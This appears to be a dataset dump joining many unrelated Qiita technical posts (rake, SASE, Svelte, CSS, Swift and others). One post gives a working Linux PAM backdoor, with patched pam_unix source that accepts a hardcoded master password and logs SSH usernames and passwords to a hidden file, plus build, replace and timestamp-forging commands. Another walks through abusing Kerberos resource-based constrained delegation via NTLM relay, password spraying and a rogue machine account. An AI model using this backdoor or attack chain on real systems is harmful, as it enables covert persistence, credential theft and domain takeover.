OmniAICreator/Qiita-1.07M huggingface dataset:
第8回(rake)

![Mac OS X-10.15.7](<https://img.shields.io/badge/MacOSX-10.15.7-brightgreen>) ![ruby-2.7.1p83](<https://img.shields.io/badge/ruby-2.7.1p83-brightgreen>) 

# rakeとは

rakeはmakeやantのruby版. 典型的な例は，

```ruby
task :default do
  system 'rake -T'
  exit
end

desc 'hello NAME'
task :hello do
  name = ARGV[1]
  puts "Hello #{name}!"
  exit
end
```

これをRakefileに書いて

    > rake

とすると

    rake hello # hello NAME

Rakefileが用意しているtask(仕事)が表示される.これはdefaultでrake -Tというtaskの一覧を表示するコマンドを実行するようにしているから.

Rakefileの中身を詳しく見ていくと
-   descの後にはrake -Tとした時の説明文(description)
-   :defaultはrakeが引数なしで呼ばれた時の動作，
-   それ以外はoptionで呼ばれるtaskの名前
-   taskの中には標準のruby言語で，動作を記述

となっている.':'で始まる変数はsymbolと呼ばれるクラスで，名前の代わりをしてくれるらしい.

# system call

rakeを使ってgit pushの一連の流れをやってみる

```ruby
desc 'git push'
task :push do
  p comm = "git add -A"
  system comm
  p comm = "git commit -m \'hoge\'"
  system comm
  p comm = "git pull origin main"
  system comm
  p comm = "git push origin main"
  system comm
  exit
end
```

これで一連の流れ全てをgit pushだけで行ってくれるようになる.ただcommitのコメントが全部hogeになるので実際に使うならもう少し書き直す必要がある.

------
 - **source** ~/grad_members_20f/members/yoshida/c04_rake.org
Kerberos协议之基于资源的约束委派

# 理解资源约束委派

在之前的约束委派文章中提到，如果配置受约束的委派，必须拥有SeEnableDelegation特权，该特权是敏感的，通常仅授予域管理员。为了使用户/资源更加独立，Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。

基于资源的约束委派和传统的约束委派非常相似，但是作用的方向实际上是相反的。引用[《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)文中的图解。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/847d037e-2396-e3b2-ab1d-7d4b0740048b.png)

传统的约束委派：在ServiceA的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceB的信任关系，定义了到ServiceB的传出委派信任。

资源约束委派：在ServiceB的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceA的信任关系，定义了从ServiceA的传入信任关系。

而重要的一点在于，资源本身可以为自己配置资源委派信任关系，资源本身决定可以信任谁，该信任谁。

在那篇文章中给出了一种利用环境。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/2a91e9ec-adff-9327-c443-e905cc546449.png)

1. 攻击者攻陷了一个有TrustedToAuthForDelegation标志位的账户(ServiceA)。
2. 攻击者拥有一个账户，该账户对ServiceB有权限，可以在ServiceB上配置资源约束委派。
3. 那么攻击者可以在ServiceB上配置从ServiceA到ServiceB的资源约束委派。
4. 攻击者使用S4U2Self模拟administrator向域控请求可转发的TGS
5. 然后将上一步的TGS通过S4U2Proxy模拟administrator向域控请求访问ServiceB的TGS。
6. 此时攻击者拿到了ServiceA->ServiceB的TGS。

# 实际利用 滥用MachineAccountQuota

1. 需要一个SPN账户，因为S4U2Self只适用于具有SPN的账户
2. 需要一个对目标机器有写入权限的账户GenericAll、GenericWrite、WriteProperty、WriteDacl等等都可以。

在域中有一个属性MachineAccountQuota，这个值表示的是允许域用户在域中创建的计算机帐户数，默认为10，这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户，而计算机账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的，所以第一个条件就满足了。

但当我们只是一个普通的域用户时，并没有权限（如GenericAll、GenericWrite、WriteDacl等）为服务修改msDS-AllowedToActOnBehalf OfOtherIdentity属性，不满足第二个条件。所以这里一般用的是中继，通过中继机器账户来修改该机器账户自身的msDS-AllowedToActOnBehalf属性。

ateam的[《这是一篇“不一样”的真实渗透测试案例分析文章》](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/)中对于基于资源的约束委派利用中，非常经典。

1. 首先通过webdav的xxe发送ntlm请求，实现中继webdav，因为是system权限，所以`webdav$`账户到手。
2. 然后通过密码喷洒拿到了一个普通域账号
3. 通过域账号添加了一个机器账户`evilpc$`
4. 通过xxe中继webdav到域控的ldap中，在webdav$机器上设置基于资源的约束委派（我改我自己）
5. 然后通过s4u发起从`evilpc$`到`webdav$`的资源约束委派请求，就有了webdav$的tgs。
6. 通过上一步申请的tgs ptt到`webdav$`

本地没环境，有机会再补上。

# 参考

感谢daiker师傅的一顿指点。这个东西写了很长一段时间，写完了还不是很明白，只是明白了ateam的那种利用场景，没参透有无别的场景，自己以后有空回过头来再看一下吧。

1. [这是一篇“不一样”的真实渗透测试案例分析文章](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/)
2. https://daiker.gitbook.io/windows-protocol/kerberos/2
3. https://cloud.tencent.com/developer/article/1552171
4. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
5. https://github.com/Kevin-Robertson/Powermad
【SASE】SASEについて調べてみた

なにかと話題のSASEなのですが、詳細を知らなかったのでいろいろ調べました。

GoolgeのゼロトラストであるBCRAなんですが、HTTPSベースのアプリにしか対応してないんですよね。。これ、なかなか使い勝手が悪いです。

あと、現在のプロジェクトで調査の必要があり、「paloalt」と「checkpoint」のsaseソリューションを調べました。

＝＝＝
「paloalt」

製品名：PrismaAccess

ポイント：
HTTPSにも対応しているみたい。もう少し調べる。
PAシリーズの次世代FWが必要になるのかも。
 Prisma Public Cloudという機能がある
　HTTPS以外も対応しているように見えるがもう少し調査必要
ポリシー管理はPanoramaから実施
接続タイプはIPsec
Prisma Cloudとの組み合わせによりパブリッククラウドの管理にも使える。

対応しているセキュリティ要件：
ネットワーキング
• SD-WAN — パロアルトネットワークスの Next-Generation Firewall のサポートと、サードパーティ SD-WAN との統合
• VPN — IPsec、SSL/IPsec、クライアントレス VPN など、ユーザーとネットワークの接続オプション
• ゼロ トラスト ネットワーク アクセス (ZTNA) — アクセス制御と脅威防御によるアプリケーションの保護
• Quality of service (QoS) — 重要アプリケーションに対する帯域幅の優先割り当て
• Clean Pipe — マネージド サービスプロバイダー向けのアウトバウンド インターネットセキュリティ
セキュリティ
• サービスとしてのファイアウォール (FWaaS) — 支社や小売店舗向けの次世代ファイアウォール セキュリティ
• DNS セキュリティ— 高度な分析機能と機械学習を活用した、DNSトラフィック内の脅威に対する防御
• 脅威防御 — 脅威インテリジェンスを活用し、エクスプロイト、マルウェア、コマンドアンドコントロール (C2)トラフィックをブロック
• クラウドのセキュア Web ゲートウェイ (SWG) — 静的分析と機械学習を活用し、有害サイトをブロック
• データ損失防止 (DLP) — 機密データの分類とポリシーの適用によるアクセス制御
• クラウド アクセス セキュリティ ブローカー (CASB) — インライン セキュリティと API ベースのセキュリティを活用したガバナンスとデータ分類で脅威を阻止



参照URL：
https://www.networld.co.jp/product/paloaltonetworks/pro_info/prisma_access/
https://news.mynavi.jp/article/20190904-888575/
https://www.techmatrix.co.jp/product/paloalto/prisma-cloud.html
https://www.youtube.com/watch?v=FWBeMgUobig
https://ascii.jp/elem/000/004/001/4001395/
https://ascii.jp/elem/000/001/928/1928091/
Prisma Access: 概要
https://www.paloaltonetworks.jp/resources/datasheets/prisma-access-aag

＝＝＝
「checkpoint」
日本語の情報がない！

checkpoint
CloudGuard Connect SASE Solution
Web、RDP、SSH、データベースサーバーなどの企業アプリケーションへのワンクリックでアクセスが提供されます。

https://www.checkpoint.com/downloads/products/cloudguard-connect-datasheet.pdf
https://www.checkpoint.com/products/cloudguard-connect-sase/
https://docs.microsoft.com/ja-jp/azure/firewall-manager/check-point-overview
https://licensecounter.jp/engineer-voice/blog/articles/20201014_3fortinet15fortigatecheck_point_cloudguard_connect_ipsecvpn.html



01. Next Generation Firewall

02. Advanced Threat Prevention

03. Secure Web Gateway

04. Zero-Trust Network Access (SDP)

05. DNS Security

06. Data Loss Prevention

07. Email Security

08. Browser Protection

09. Secure SaaS Applications (coming soon)

10. Device posture and compliance (coming soon)

11. Web Application and API protection (coming soon)
SOQL等で使う項目名を簡単に生成する

#はじめに

テーブル（Salesforceで言えばオブジェクト）の項目値情報として、以下のようなExcelシートがあるとします。
SOQLを記述する時はSQLのようにselect文で*は使えないので、項目名をきちんと指定する必要があります。

Excelには項目名があるのですが、このままコピーしても横につながってくれません。
これが横につながって、各項目の間にカンマなんかつけてくれると非常に便利です。

そこで、Excel　VBAを使って便利ツールを作ってみました。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/4a11a6e8-9c56-a592-cdda-60a103cac7a8.png)


#使い方はこんな感じです。

1.使いたい項目を選択して、リボンにある縦⇒カンマ区切変換をクリックします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/b4c3bc20-e2c5-d060-b744-1bf0485d20a3.png)


2.テキストエディターを開いて、マウスの右クリック、貼り付けを選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/9b51dbd0-657b-d301-88d5-90c309830560.png)


3.縦方向の項目を横方向に並べて、間にカンマを挿入しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/328136/6d1a24f4-b1de-446a-8428-15fd0d7c683e.png)


#ソース

ソースコードをみたら、2016年に作っていたんですね。古い。元々はAras InnovetorのAMLを作る時の便利ツール。

```
'-------------------------------------------------------------------
'  AMLのselect句用に縦型のプロパティ一覧を横型のカンマ区切りにする
'
'  2016/10/03 K.Otsubo
'-------------------------------------------------------------------
Public Sub main_4(ByVal control As IRibbonControl)
    Dim vTmp As Boolean
    
    Dim wkString As String
    Dim c As Range, i As Long
    
    wkString = ""
    
    For Each c In Selection
        i = i + 1
        wkString = wkString + "," + CStr(c.Value)
    Next c
    
    wkString = "id" & wkString
    
    'CopyメソッドやPasteメソッドはセルが対象です｡
    'セルを使わずに､変数のデータをクリップボードに格納したり､
    'クリップボードに格納されているデータを直接変数に入れるときには
    'DataObjectオブジェクトを使います｡
    '
    'DataObjectオブジェクトはMSFormsのメンバです。
    '使用するには、Microsoft Forms 2.0 Object Libraryを参照設定します。
    Dim buf As String
    Dim buf2 As String
    Dim CB As New DataObject
    buf = wkString
    With CB
        .SetText buf        ''変数のデータをDataObjectに格納する
        .PutInClipboard     ''DataObjectのデータをクリップボードに格納する
        .GetFromClipboard   ''クリップボードからDataObjectにデータを取得する
        buf2 = .GetText     ''DataObjectのデータを変数に取得する
    End With
    
    
    'MsgBox wkString
  
End Sub
```


簡単なルーツですがあれば便利です。

#他にも

ユニケージ開発用にはカンマ区切りでなくて、ブランク区切になるバージョンも準備しています。
また、ファイルレイアウトをクリックすると

ファイルレイアウトのコメント用に順番の数字を表示できるようにしています。

```
#01.AccountId 02.AssetId 03.BusinessHoursId 04.CaseNumber 05.ClosedDate
#06.Comments 07.ContactEmail 08.ContactFax 09.ContactId 10.ContactMobile
#11.ContactPhone 12.CreatedById 13.CreatedDate 14.Description 15.IsClosedOnCreate
#16.IsEscalated 17.LastModifiedById 18.Origin 19.OwnerId 20.ParentId
#21.Priority 22.Reason 23.SourceId 24.Status 25.Subject
#26.SuppliedCompany 27.SuppliedEmail 28.SuppliedName 29.SuppliedPhone 30.Type
```
Svelte初心者がSvelteで、湯婆婆を作ってvueとSvelteを比較してみた。

#はじめに
アドベントカレンダー１0日目です。

今回はSvelte初心者がSvelteで、湯婆婆を作ってみました。
内容としては少し前話題だった湯婆婆で作ってみたです。
中身の処理がjsでほぼ~~パクリ~~インスパイアされているので実際にはSvelteの説明なども多くなっています。
また、普段はvueを使っているのでそちらの比較としてる部分が多いと思います。

#Svelteとは
２０１６年辺りに登場した最近話題のコンパイラです。
（調べてるとフレームワークだったりツールという表現があったりとマチマチです。）
最大の特徴としては仮装DOMがないことだと思っています。
今回は使いませんでしたが状態管理が標準で機能としてあるのも嬉しいところですね。
他の特徴としては処理が早いとかコード量が少ないとか他にも色々ありますが、詳しいことは他の人の記事の方がわかりやすいので見ていただければと思います。

#コード
App.svelte

```
<script>
	const submit = ''
	const name = ''
	const newName = ''

	const handleSubmit = () => {
		newName = name.substr(Math.floor(Math.random() * Math.floor(name.length)), 1);
		submit = "フン。"+ name +"というのかい。贅沢な名だねぇ、今からお前の名前は"+newName+"だ。いいかい、" + newName + "だよ。分かったら返事をするんだ、" + newName + "!!"
	}
</script>

<main>
 <p>契約書だよ。そこに名前を書きな。</p>
 <form on:submit|preventDefault={handleSubmit} >
  <input type="text" bind:value={name}>
   <button type="submit">
    判を押す
   </button>
 </form>
 {submit}
</main>
```
svelteでは.svelteのファイルを変更していきjs,html,cssを書いていきます。
HTML部分をmainでくくってますがタグで囲えばdevなどのタグでも動きます。
ここはvueと違っていてtemplateタグで囲う必要ないのはいいですね。

では早速コードの解説をしていきます。

描画された段階では契約書の表示部分まで描画します。

```app.svalte
<main>
 <p>契約書だよ。そこに名前を書きな。</p>
 <form on:submit|preventDefault={handleSubmit} >
  <input type="text" bind:value={name}>
   <button type="submit">
    判を押す
   </button>
 </form>
 {submit}
</main>
```
![スクリーンショット 0002-12-01 17.29.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/539373/6528373a-fef4-ebd8-3c79-dc92c2cceeca.png)

この部分ですね。

Svelteではjsの変数を{}で囲って参照します。
Svelteでは「on:イベント」でイベントを設定します。
{handleSubmit}で名前をとった時の処理を行っています。

そして完成して作ったものがこちらです。
![スクリーンショット 0002-12-01 15.40.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/539373/b8550f2e-b799-d556-ea95-5fded886130b.png)


#最後に

記事の作成にあたりを参考にさせていただきました。

https://sbfl.net/blog/2019/12/04/svelte-frontend-1/
https://qiita.com/Nemesis/items/c7192a7c510788d2cba2
Microsoft アカウントと組織アカウントについて

# はじめに

同じメールアドレスでもAzureADに紐づく組織アカウントと従来のMSアカウント＝個人アカウントの選択を間違えるとログインできなり、下記のように４０１のエラーになってしまいます。
のでセッションを分けるためにもChromeのゲストアカウントを作成してセッションを分けましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/50675a11-f75f-b244-9dbe-bca34c4622bf.png)

# 組織アカウントと個人(MS)アカウント
そもそも、組織アカウントと個人アカウントとはなにかは、下記をご確認ください。
[[Microsoftアカウント]と[職場または学校アカウント]の違い](https://dev.classmethod.jp/articles/difference-between-microsoft-account-and-azuread/)
[MSアカウントと組織アカウントのメールアドレス重複について](https://blog.azure.moe/2016/09/20/ms%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%81%A8%E7%B5%84%E7%B9%94%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%81%AE%E3%83%A1%E3%83%BC%E3%83%AB%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E9%87%8D/)
Microsoft アカウントと組織アカウントについて
https://jpazasms.github.io/blog/AzureSubscriptionManagement/20181108a/





- MSアカウントでログインする場合に表示される画面
　下にアカウントにアクセスできない場合　のリンクが表示される。クリックすると下の選択画面が表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/33e3ca7b-c2eb-c0bc-406d-e31fc4d99866.png)

- 組織アカウントに紐づくサイトにログインすると表示される画面
　[https://www.office.com/](https://www.office.com)　では、どちらかを選択する画面が表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/49df9d91-0783-9890-3c31-9f542f8bc4df.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/554b8344-5df8-9b0f-e979-e2e837bc23ea.png)




# Chromeのゲストを使ってログインする。
- セッションを分けることで、組織アカウントと個人アカウントで組織アカウントが有効になってしまっているのが分かる。以降は、ブラウザにアカウントを作成して分けたほうがいい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/bc7dfb11-8897-33bc-85c6-479e3cbf4e2d.png)


# ユーザの追加の仕方

## 追加をクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/4fd9b73b-9fc0-e954-f281-b25022f99e07.png)

## 適当に名前を付ける。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/21d43aa7-97d1-8aaf-8466-d717bc5bfef9.png)

## ユーザが作成される。
こちらでログインをする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47172/ee18a354-944a-4ad6-1392-4b66df3c7010.png)
レスポンシブ対応について

#最初に
**カレンダー企画2020の7日目**
プログラミングの勉強を始めて3ヶ月程経ったので学んだことのメモをアウトプットとして記事に残します。
これからプログラミングの世界に入る人の手助けになれたら嬉しい限りです。
間違っていたり、言葉が違っていたり、表現が誤解されるような言葉があったら教えて下さい^^
言葉を長々と読みづらかったら申し訳ありません。少しずつなれてがんばります。

##レスポンシブ対応って何？
PCやタブレット、スマホそれぞれ画面の大きさが違いますよね？それに合わせてレイアウトを変える対応のことをレスポンシブ対応と言います。
こんな経験は無いですか？
PCで見ているときとスマホで見ている時で表示のされ方が違うサイトとか(それがレスポンシブ対応していると言います)

##レスポンシブ対応の準備
レイアウトを変える前に行う設定みたいのがあります！
それはHTMLファイルにviewportというものを記述します。

```HTML:qiita_post.html
<meta name="viewport" content="width=devise-width,initial-scale=1.0">
```

###``width=devise-width``
widthでコンテンツ表示領域を指定、devise-widthでデバイスの横幅が自動的に適応される設定

###``initial-scale=1.0``
initial-scaleで表示倍率を指定、1.0は等倍という意味


これが終わったら

##レスポンシブ対応用に変更する
最も基本的なやり方の「メディアクエリ」を紹介します
いじるところはCSSファイルです

```CSS:qiita_post.css
.box1 {
  width: auto;
  height: 100px;
  background-color: red;
}

.box2 {
  width: auto;
  height: 50px;
  background-color: blue;
}
/* 画面が1024px以下の際に適応 */
@media screen and (max-width: 1024px) {
  .box1 {
    width: auto;
    height: 100px;
    background-color: green;
  }

  .box2 {
    width: auto;
    height: 50px;
    background-color: gold;
  }
}
/* 画面が768px以下の際に適応 */
@media screen and (max-width: 768px) {
  .box1 {
    width: auto;
    height: 100px;
    background-color: aqua;
  }

  .box2 {
    width: auto;
    height: 50px;
    background-color: slateblue;
  }
}
/* 画面が425px以下の際に適応 */
@media screen and (max-width: 425px) {
  .box1 {
    width: auto;
    height: 100px;
    background-color: hotpink;
  }

  .box2 {
    width: auto;
    height: 50px;
    background-color: black;
  }
}


```

上記のを見て少しわかったかもしれないですが、
``@media screen and (max-width: 〇〇px)``これを記述した中に書かれたCSSは対象の大きさになったらこれを適応するといった意味になります。

![スクリーンショット 2020-12-06 23.42.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/838465/3687829a-079f-dd2b-1bc6-564bea363f3a.png)
![スクリーンショット 2020-12-06 23.43.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/838465/a8c82731-dd75-c0a7-48ef-b120c32df1ed.png)
![スクリーンショット 2020-12-06 23.43.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/838465/398e6d4d-8715-2117-6134-0b03d9888f31.png)
![スクリーンショット 2020-12-06 23.43.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/838465/cba902b0-d617-4fa7-fc9e-1459e57c40ac.png)

他にもいろいろ出来るので試して見るといいと思います！
【Swift】CodingKeyを使わず、JSONのsnake_caseをcamelCaseに変換する方法

JSONのデータをSwiftで変換する際に`CodingKey`を使用する方法を学んだのですが、調べていると`CodingKey`を使用しない方法もあったのでメモ

例として、QiitaのAPIを取得しています。

##`CodingKey`を使用する場合
API用の構造体の中に`enum`を定義する必要があります。

```swift
struct Qiita: Codable {
    let title: String
    let createdAt: String
    let user: User
    
    enum CodingKeys: String, CodingKey {
       case title = "title"
       case createdAt = "created_at"
       case user = "user"
    }
}

struct User: Codable {
    let name: String
    
    enum CodingKeys: String, CodingKey {
        case name = "name"
    }
}
```

##・`CodingKey`を使用しない場合
構造体内で`enum`を宣言してcamelCaseに変更する代わりに、API取得時に`.keyDecodingStrategy`に`.convertFromSnakeCase`を代入して変換します。

###構造体
```swift
struct Qiita: Codable {
    let title: String
    let createdAt: String
    let user: User
}

struct User: Codable {
    let name: String
}
```
`enum`が無くなりスリムになりました。


###API取得用メソッド
```swift
 func getQiitaApi() {
        
        guard let url = URL(string: "https://qiita.com/api/v2/items?page=1&per_page=5") else { return }
        
        var request = URLRequest(url: url)
        request.httpMethod = "GET"
        
        let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
            if let error = error {
                print("（１）情報の取得に失敗しました:", error)
                return
            }
            
            if let data = data {
                do {
                    let jsonDecoder = JSONDecoder()

                    //snake_caseをcamelCaseにデコードするように指示
                    jsonDecoder.keyDecodingStrategy = .convertFromSnakeCase

                    let qiita = try jsonDecoder.decode([Qiita].self, from: data)
                    print(qiita)
                } catch {
                    print("（２）情報の取得に失敗しました:", error)
                }
            }
        }
        task.resume()
    }
}
```

情報の取得に成功すると、取得したQiitaの記事タイトル、作成日、作成者の名前がログに出力されます。

##参考
<a href="https://qiita.com/api/v2/docs#%E6%8A%95%E7%A8%BF">Qiita API v2 ドキュメント　投稿</a>
<a href="http://harumi.sakura.ne.jp/wordpress/2019/04/04/json%E3%81%AEsnake-case%E3%82%92%E7%9B%B4%E3%81%99%E3%81%AE%E3%81%ABcodingkey%E3%81%AF%E5%BF%85%E8%A6%81%E3%81%AA%E3%81%84/">Jsonのsnake caseを直すのにCodingKeyは必要ない</a>
Reactでファイル拡張子を".js"から".jsx"にするとエラーが起きる（Error: ENOENT: no such file or directory, open '実行パス'）

# はじめに
こんにちは。Qiita3記事目です。
最近はよく起きるエラーの解決法備忘録集みたいになってきています…笑
今回もまたよく起きそうなエラーが発生したのでその解決策をまとめておきます。

Markdown記法にも少しずつ慣れてきました。

# 開発環境
- エディタ：VSCode
- OS：Mac OS X
- node：v15.2.1
- yarn：1.22.10
- React：17.0.1
- React-dom：17.0.1
- React-script：4.0.1


# 結論（解決策）
そのプロジェクトフォルダ内の`node_modules`を削除し、`yarn install`してパッケージをインストールし直す。
npmを使っている方は`yarn install`の部分を`npm install`に。

```terminal
$ rm -rf node_modules && yarn install
```


#原因：拡張子を".js"から".jsx"にすると発生する
VSCodeでは拡張子に応じてファイルのアイコンを変更してくれる機能があります。
コンポーネントを記述したファイルは拡張子を`.jsx`にすることで、ファイルアイコンがReactのアイコンになり判別がしやすくなるということで早速変えてみたのですが、以下のようなエラーが出ました。

```terminal:App.jsをApp.jsxに変更したあとのターミナル
./src/App.js
Error: ENOENT: no such file or directory, open '/Users/username/Desktop/programming/practice/js-react/jake-react/react-practice/src/App.js'
```

# 解決策
解決策としては、一度プロジェクトフォルダ内の`node_modules`を削除し、再度`yarn install`でパッケージをインストールし直すことによって解決しました。

```terminal
$ rm -rf node_modules && yarn install
```
`-r`オプションは「ディレクトリを削除する」オプションで、`-f`オプションは「メッセージを表示しない（「本当に削除していいですか？」みたいなもの）」オプションになります。



# 懸念点
そんなに頻繁にやることではないと思うのでよいのですが、この拡張子の変更によるエラーは**原因となる拡張子を変更する度に毎回起こる**ということを何回か実験して確認しました。

例としては、今回のような`.jsから.jsxへの変更`、逆に`.jsxから.jsへの変更`、また`.jsxから.tsxへの変更`など、これらの変更を行った段階で今回のエラーが発生します。

その度に今回の解決策のコマンドを実行すれば解決はするのですが、如何せん面倒臭いなあという気もします。

何かもっと良い解決策はないのでしょうかね。


# 今回参考にしたもの
- [Reactjs “Error: ENOENT: no such file or directory, open..” after converting jsx file to tsx](https://stackoverflow.com/questions/55015303/reactjs-error-enoent-no-such-file-or-directory-open-after-converting-jsx/55015669)
- [[React]拡張子を.jsから.jsxにするとModule build failed](https://teratail.com/questions/258369)
Linux PAM后门：窃取ssh密码及自定义密码登录

PAM是Linux默认的ssh认证登录机制，因为他是开源的，我们可以修改源码实现自定义认证逻辑，达到记录密码、自定义密码登录、dns带外等功能。

# 环境
- CentOS Linux release 7.8.2003 (Core)
- pam-1.1.8-23.el7.x86_64

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f72e4dd9-c6d9-99cc-1fc9-e024fb7383c4.png)

centos需要关闭selinux，临时关闭`setenforce 0`。永久关闭需要修改`/etc/selinux/config`，将其中SELINUX设置为disabled。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ef43bd73-ba67-5cea-477e-998a635eea11.png)

# 自定义ssh密码
查看PAM版本`rpm -qa|grep pam`

下载对应源码:http://www.linux-pam.org/library/

```
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar zxvf Linux-PAM-1.1.8.tar.gz
```

安装gcc编译器和flex库

```
yum install gcc flex flex-devel -y
```

修改`Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c`源码实现自定义密码认证
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/adf5e1bd-40ba-db85-b278-5cffa3cc012d.png)

```c
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
name = p = NULL;
```

编译生成so文件

```
cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
```

生成的恶意认证so路径在`./modules/pam_unix/.libs/pam_unix.so`。用它来替换系统自带的pam_unix.so。


因为系统不同位数不同，pam_unix.so的路径也不一样，尽量用find找一下。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ef2150a2-e47a-2176-0a86-e5c5ea45a3a9.png)

然后替换，注意先备份，万一恶意的so文件不可用就GG了。

```
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bak
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f694ecde-ce2b-f39d-432d-e37dbe9b72db.png)

此时先别急着断开ssh，先试一下能不能用我们设置的`fuckyou`密码登录。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b688494c-9801-6057-ae13-1193565b2b50.png)

成功登录，后门也就留好了。为了隐蔽，修改下pam_unix.so的时间戳。

```
touch pam_unix.so -r pam_umask.so
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/97c65717-cca6-f537-d5c4-2ca848b56c43.png)

# 记录密码
同样编辑`modules/pam_unix/pam_unix_auth.c`文件

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d3d0be0a-87ff-f63c-f804-db96d8e0ee80.png)

```c
if(retval == PAM_SUCCESS){
    FILE * fp;
    fp = fopen("/tmp/.sshlog", "a");
    fprintf(fp, "%s : %s\n", name, p);
    fclose(fp);
}
```
ssh密码会被记录到/tmp/.sshlog中。编译并替换so

```bash
cd Linux-PAM-1.1.8
make clean && make
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
```

此时登录ssh会记录密码
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/086a42af-396d-9035-155b-e3d7063b6769.png)
【symfony】生クエリの実行

Repositoryから生クエリを打ちたいときのやり方です。

```
$em = $this->getEntityManager();
$RAW_QUERY =   'SELECT *
                FROM dtb_order_item
                WHERE dtb_order_item.product_id = 1';
$statement = $em->getConnection()->prepare($RAW_QUERY);
// クエリ実行
$statement->execute();
// 結果を取得 単一行の場合はfetchAssoc
$result = $statement->fetchAll();
return $result;
```
Puppeteer実行環境をAppEngineからCloudRunに移したときのメモ

　[FlightBooks](https://flightbooks.pub)というサービスを個人で開発していまして、先日ghostscriptの情報を教えてもらいました。現状PDFの生成部分はGoogle AppEngineのStandard Node環境でPuppeteerが動作していて、この部分をCloudRunに移植しつつ、gsコマンドと両方入ってる環境を作ろうと思いました。この辺毎回ググることになりそうなのでメモとして残そうと思います。

# Chromeはaptでインストールする

今回ベースイメージは、node:12-slimを選択してみました。そのためOSイメージはdebian stretchになります。当初npmでPuppeteerをインストールしていたのですが、依存ライブラリの解決が面倒だったので、aptでインストールすることにしました。Chromeにはいくつかバージョンがありますが、こちらのRepoをみて本家のStable版をインストールすることにしました。

https://github.com/buildkite/docker-puppeteer/blob/master/Dockerfile

```dockerfile
RUN  apt-get update \
     && apt-get install -y wget gnupg ca-certificates \
     && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
     && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
     && apt-get update \
```

# Puppeteerをpuppeteer-coreにする

Chromeは既にインストール済みのため、バイナリイメージを含まないnpmモジュールをインストールします。

```sh
$ npm remove puppeteer
$ npm install --save puppeteer-core
```

# 必要なフォントとfontconfigを入れる

日本語対応したいので、noto fontを全面的に活用することにします。明朝体もインストールするためextraもstretch-backportsを利用していれます。英字は逆に最低限のみで、MS系互換フォントの `fonts-liberation` を利用します。

```dockerfile
&& echo 'deb http://deb.debian.org/debian stretch-backports main' >> /etc/apt/sources.list \
    && apt update \
    && apt install -y fonts-noto-cjk-extra -t stretch-backports \
```

```dockerfile
    && apt install -y google-chrome-stable fontconfig fonts-liberation fonts-noto-cjk \
```

# Puppeteer.launchでパスを指定

